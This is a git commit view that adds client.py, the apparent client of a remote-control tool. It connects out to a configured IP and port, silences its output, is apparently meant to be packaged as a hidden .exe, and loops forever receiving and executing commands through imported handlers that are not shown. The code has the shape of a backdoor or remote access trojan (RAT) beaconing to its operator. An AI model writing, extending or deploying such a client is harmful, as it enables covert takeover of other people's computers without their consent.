summaryrefslogtreecommitdiff
path: root/client.py
diff options
context:
space:
mode:
Diffstat (limited to 'client.py')
-rw-r--r--client.py29
1 files changed, 29 insertions, 0 deletions
diff --git a/client.py b/client.py
new file mode 100644
index 0000000..1bf6585
--- /dev/null
+++ b/client.py
@@ -0,0 +1,29 @@
+import multiprocessing
+import contextlib
+import socket
+import os
+
+from foreign.parse.crash_exception_handling import *
+from foreign.parse.command_handling import *
+from binary.data_handling.recv_data import *
+from foreign.utility.program_setup import *
+from foreign.global_state import *
+
+
+@crash_exception_handling
+def main():
+ state['file'] = '{}/{}'.format(os.getcwd().replace('\\', '/'), __file__.replace('.py', '.exe'))
+ program_setup()
+
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((state['ip'], state['port']))
+
+ while True:
+ recv_data(s, (state['settings']['encryption'], state['settings']['headersize']), command_handling)
+
+
+if __name__ == '__main__':
+ with open(os.devnull, 'w') as devnull:
+ with contextlib.redirect_stdout(devnull):
+ multiprocessing.freeze_support()
+ main() \ No newline at end of file